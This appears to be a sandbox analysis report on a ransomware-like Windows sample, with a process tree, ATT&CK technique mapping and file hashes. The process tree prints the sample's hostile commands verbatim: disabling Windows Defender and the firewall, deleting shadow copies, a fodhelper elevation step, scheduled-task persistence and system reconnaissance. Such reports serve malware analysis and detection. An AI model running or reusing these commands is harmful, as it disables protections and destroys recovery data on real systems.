- Launches sc.exe
PID:400
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2456
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2148
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3008
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:984
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:5676
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1168
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1496
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3720
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4664
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:5372
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2268
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5020
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5416 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3160
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:2508
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5508 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2968
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5580 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:4656
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5640 -
C:\Windows\system32\whoami.exewhoami3⤵PID:2268
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5328 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4508
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5856 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:868
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5400 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:2884
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5420
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5964
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2588
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5880
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:6084
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:292
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5620
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:6128
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:444
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1680
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:220
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:5956
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1620
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 2ccca5aa713cf4be7ded78b69e2eaedcbcc39c9613e6dbbd0aa3865d0bf72f12
- MD5 50ee0d0c036e2c5219cc2e6812512958
- SHA1 4c8acb8a445b5f71caba418b376782c7c11f01d1
- SHA512 07fd1a37bb4b363e105484426e1cc7a5e08007ad76dd48cbde0e17f4a5d75a76ed9464fe99a556d0984a6c5c4573d80353282cc94fb4ffd53847df4dda296d4f
- SSDEEP 1536:2BUNEMNWF3B4I11I98jVqmo7UKmOv19w1jtsvL1vc140zzOCBVzPEJG:2BUNEmWF3t1E+i1y1Bq1Ue0zzdzPEE
- TLSH T113632A368B33FCD4277E3D80A0103D561C883E7B97B926BCFA841DA628E5544DF3A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 d3bc0c81f1e42cf5cefb33c95242cb4f188ff4e50954bc6a149b3e21ae546e24
- MD5 3d73fcee4814f6740fda7c174b04197a
- SHA1 4dbb8fa34b69b9b1ca0080a6ef238e81937f7918
- SHA512 659d9387c75f0b711e2c94ef4f00effe52cf1982e18b8a72bab4f450feaf8c7fcf05689717048a87dfa37e599e2c23c20c38bd0558a8c3862443a43cb3191a18
- SSDEEP 1536:WBUNEMNWF3B4I11I98jVqmo7UKmOv19w1jtsvL1vc140zzOCBVzPEJB:WBUNEmWF3t1E+i1y1Bq1Ue0zzdzPEH
- TLSH T135532A368B33FCD4277E3D80A0503D561C883E7B97B926BCFA851DA628E5144DF3A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\305487be-96df-4372-828a-e61d608f3ff5.tmp
- Size 16KB
- SHA256 a97bf43de841c31605e09fde53050e7d2340f71e7822457d0fad6b547fb8868a
- MD5 fb288b9ba0a243eebb368910384f72e8
- SHA1 a5df946a6675be9c789a8b8feb27b211c4699e1b
- SHA512 65acd32522baa45f199a75e4fc809648094b5097b72cafd8bc0536a2e73171331a4adf6c6725a9e8a21c60dfdb6ca9d39af9d7ee6652b8aad950ebf72024c151
- SSDEEP 384:ywjuJ7KxkXqKf/pUZNCgVLH2Hfgslu17pLuLcMwxXODuh+ErU37PHG5im:y0uJ7KxkXqKf/pUZNCgVLH2Hfgsc17p1
- TLSH T157720A677C4C9E370F94CACCD9167F4FADF5024A65E9886482FA9C2503D5BCA110A2FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 f2d9baff0af3c345b750f11876780251e88e1c1f6d7d7fd6baf98f6cf3c8568c
- MD5 b0481c1de729528da8a760b9548c761f
- SHA1 3ba1415754f91dc7f99fb1417738af086905ff90
- SHA512 47a1d5610fabb43fefefff063d54178a5d9846e5efec84e78532dc489bae957bef3e007ae65cd47ca4b3fad0237aa9fd383e6b1f6b6646e776f3949bbf02da1c
- TLSH T124E02BABD826EC3B08FD2B6960511747E75013672B81490F3A3C91188FB163645C6CAC
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
- Size 288B
- SHA256 9e99ba45a5d5f2ee57e58441719a3394b8d130dbaeaa46e64d6811da14b4da09
- MD5 5a56867e64750cb355e2c6edb37f42d6
- SHA1 3bcc7c55dc79d1d0f4fc089c1f26b696f771429c
- SHA512 78cf7304ce28c68bb0fa569db975cca387e49c12975b2e3000decb434e595128aebcd7720008b36fa0da77bf3a82414974408a6f9512129c5c170721a6ce26be
- TLSH T167D0228A8E57C288DF048FB9B9F3CDA4B479848B02128E0833AA0CB08FE13108340808
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
- Size 160KB
- SHA256 dd22437736a9a3717279527a78732c3cca0ce5106e5c31f5eda5431f8d54c56d
- MD5 28eabf66caf91a1b41828cfbea8182fa
- SHA1 529a4460c6950516cbf86fdb3f5b8d30ce48578c
- SHA512 29e848befc666616426382df21c20083c83424c567881f1f0771c7a5f8528e3e75c75397238b8b126419bf0881e35f5b67e5ac9c59b382d5513460f12681919d
- SSDEEP 96:ZFAe2/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0sg+u:DO/tH+bF+UI3iWGVYWNkqp3x9u
- TLSH T1B7F32C1E6F643312CDFD923A68E344B7596DF03F871366C56C6118B0CEE2692B02C5AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 d112e8df7d5949a5f3c559ecf19a3b646d2bfe3721624f4a50a954e07faa384a
- MD5 6f7c769dde22ee3c1f222f083cc3b3da
- SHA1 6841401a66db332a6a2bd87ca049534479685ced
- SHA512 d4a1ba0cad7655e5787911806ea88de45a7272a23c0c36f414c6ea229b804c947461d9842eab0d0507be97f49225102d6993c0856cbb084bd7b6df8d117cd3c7
- SSDEEP 192:D616c696/6it2E2Cmpj4z6r616F696i6BD64q6o638656n6G6ae6q6T6sF6rA6+U:D616c696/6it2E2Cmpj4z6r616F696ia
- TLSH T155F190F3C3F84A6DCD1151F4EB142E2BCE59091A53683C0AA8E8AF4F67E6C71D25164E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 11KB
- SHA256 b312f72c3cf0958bced378690e9d3c1e0f0c4a6165daf8b4cd526b169cda01bb
- MD5 5db6517214d4432bc8e4e8d34d14583c
- SHA1 2b5b093c0e2269d467f5db6f37bb4976f879b1b4
- SHA512 3f060e1617dff50c25301a08807b08c42ca602d40134ebe9459c61a87274e5a32d1c4ed1fc2c94d1b4556261695577fdf524cd47c2a91d30c3938fe36b9d638e
- SSDEEP 192:pRb3Pns4Fv75pAPRp2EilH98Hsb+WNn0Obip2TsewYVyIsnAUge:pRb3p1VUX5wuw1A2m8e
- TLSH T1BE42C62EBD14697B5CCBD329F9257B67D3F6102166902E80EAFCCA2C14E76CC2227417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 96B
- SHA256 1c2bd1738d97c0b748867ad3e03f569d2cb11569788a47351b72457446f67d0d
- MD5 860851b64e0ec11a11fd238d0ba3efa4
- SHA1 e781a9df3a489b7646f8008e26133786601b6106
- SHA512 3b722309fad3807bdde727b6bd289037d332db8427e82b86f84dc632c59f6b57fca684edc6cf750f9f4fa842f359d8d56d95a3749f35857d9f6fc9b699876e5e
- TLSH T117B00265C902A212C48213F12995D9D87170DF7AC6033216D2F02E67ED7AB704A25560
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 7a5e5cf484aa35899e7a9de55989fb4751c4aae8062e0c144272eed43eb3a299
- MD5 d76245e676162b4dd649523521cdd8ad
- SHA1 1c23fbf77d93c3660e04cfb7c479758b5bdf745f
- SHA512 0636a1d3e7f34903e44d36ce1f80086acc13be53a3f93d8cfad601873f083cb4608569c6e6cf84192f5f873bef6969a06d04ce1f821992ab50dab1fc678bf103
- TLSH T168B012C084025501C00202F41542148871189F10970A170243F06D639829551C018150
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 623c53fc34496069de082a33991dab5864e671aeaa71d987d4779650f7daa251
- MD5 1c15520481cd481ddcd774997a28363d
- SHA1 46180025f9ab067cc6a7c38a734250b217eca6ab
- SHA512 a48a42e89912318cde35167abc35251213ae0967df81ea31d678bb0d49fd582043c0d9d474ee35183dfd882a605e718257bf81339b5ecb7592c9364975fb8efc
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OJsdVumgnzy:1nbZeMrv/hGtJsinO
- TLSH T1E0D3874B3E747002EDE59AB25CE050BB5E3C716D8F55A5D428B620688EF2913A23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 91b0b4135340714b0fed7a65b664ff194a8a7e8e47ad7d954bd51ac22ac666fc
- MD5 f4dbb05d747716345b14c210ba76ba3f
- SHA1 f8324a5e52a8b4d5550062589c4ae65dd5959dcb
- SHA512 0a86b440342649ebffa156af3820763fc6d8dec2747708a013f3b7067eeca13b39b7cf9a5128449394e954f84f66a91a0ecf696d68d892d2a3b952e9cfd2f52a
- SSDEEP 6144:P+Mc2kMLz511jPlmm7Rkm1tYpBeh2BAoj:GS9z511jlR9oBGcAoj
- TLSH T1F3342237AC655C722D24BAAF418D1E6D0DF088A3C910ED2BC8D99B087E457EF091ED79
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 12e9ee9b486a6c89f1b4d7d491a8f584072bfbdfab708f7754001f950e24ac06
- MD5 b8d721b69f73f56c3bfc9d25a35a277f
- SHA1 1c636827b7ac684fbe06b22d431820316f3ece54
- SHA512 11aada348b16db803ffa9976c4121c8ea85c41418d46278904d20b4257705b6bed148aaf6717bc3f06d8339ed9092d74a85088af7d0ae34968b863068d1850fd
- SSDEEP 3072:FUGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM8:FXm7Rkm1tYpBeh2BAo8
- TLSH T158C312275DB4A87659B9BB5EB04E0F1F1EF149A3CD20DE92C8D85B0433EA7CC0A49934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 227KB
- SHA256 4dd37246f7473044534197dd7899375ab1fc3c2f85494e866df4aee72fd8d26c
- MD5 2ed52cf99ae12b077e30ccdd730ab0ac
- SHA1 2f8814d5f61de118a11d1af05e6b39c2eb621945
- SHA512 d9468d4232234b75bd6c806fdf96664a30834cb216449dae88e0cc07ecc485cc4f426e1139f43b927c9577cea224ba1ccf16acc87d4013d296dc725d1c0cbc6e
- SSDEEP 6144:AJMc2kMLz511jPlmm7Rkm1tYpBeh2BAoj:AJS9z511jlR9oBGcAoj
- TLSH T1AB342237AC665C722914BA7F818D1EAD1DF088A3C410ED67C8DD87087A857EF091ED39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 75ab7a6a16fe2c55c05af3bbb88cd7c0975f7fc261dcaf5da07ccd7ce8f06e3f
- MD5 1f355ffdc705316708ffc8948a9cb7bc
- SHA1 38d4e9c3a2577f6f31db988bd77733a302043e20
- SHA512 0ec58d4e9f025184d7bb1c7123c84f898cf055e68fc8591b05027ca93b6ac9ec43db466e243817d7a920fa84bd15a8d8834f99a9b33655b09992d514fbd299e4
- SSDEEP 3072:HGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMF:mm7Rkm1tYpBeh2BAoF
- TLSH T1E9C3123B5D70A97759B9AB4EB08E0B1F1EF149A6C930DE92C8D85B0477F97DC0A04A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vr2xz0re.klw.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 e6d951aa8223dc5c91eae270b2e35845b9a2372ba8bb4feb5b1897dec963bd24
- MD5 7f298a3be72ec20e56eb24c0688bb7a9
- SHA1 8bec9d7b830950f20a41ab35e38cc025052289f0
- SHA512 fef3f21cec25f7fb29778750bcc2e95c33ad056a10518ffc5b6750810ea844490e69f7206715555ee74ffe73c4ba92c31b77b5584ae54f444faa00665516bf34
- TLSH T1EDE0724BA118CAA90005A22781F38D4CD5B058787A27AF6087A1DC0E3BA28CA9AF1442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 bb67c58e54b1cdd8debac275bda7eef413ac48d93d60b29a0f39c44217e7fd9b
- MD5 92ef11cc4677d22b03c57f44fdcf2aaf
- SHA1 c4af10e8b2804685fd6e5953f0bcfd79e09137f6
- SHA512 11443a20fae5ab404d2c65bea8a93186b3620a65536a04cc50a70dd2ea68324747062746d1cf03eb5e3999a02a4c0cdcecd77231acbe2751da9cbcdfc7a68a1a
- TLSH T18DE07D47A118C9690005612780F34D4CD5E055787E37AF209751DC0E379188555F1442
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 13d3d54f50d082290854f24fd5a4ee673c6d6209b1afad94a6a50fdbb8e20672
- MD5 c43c2b0f725e12817159b30506dd9a4e
- SHA1 593beefa3676662e2d7a8602e68d6b856f4d2950
- SHA512 f6d888aeac3a3bc29bebb1af851215379a1758991e23e47005b1ebd7b063adddbea5752fce6d7076677e11ad8ed8314fad657cf9cc59571241dc5337664034c0
- SSDEEP 768:WhACrXoD+LmjXsvFisuFV4i//o4qC1XXGblfA00KFcf:WjEDY2SA9OiI4qEXGblf90ucf
- TLSH T17823070437F98511E2FF5ABA4DB196019B30F4A79C22D78E06D5058E1AB3B40DEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH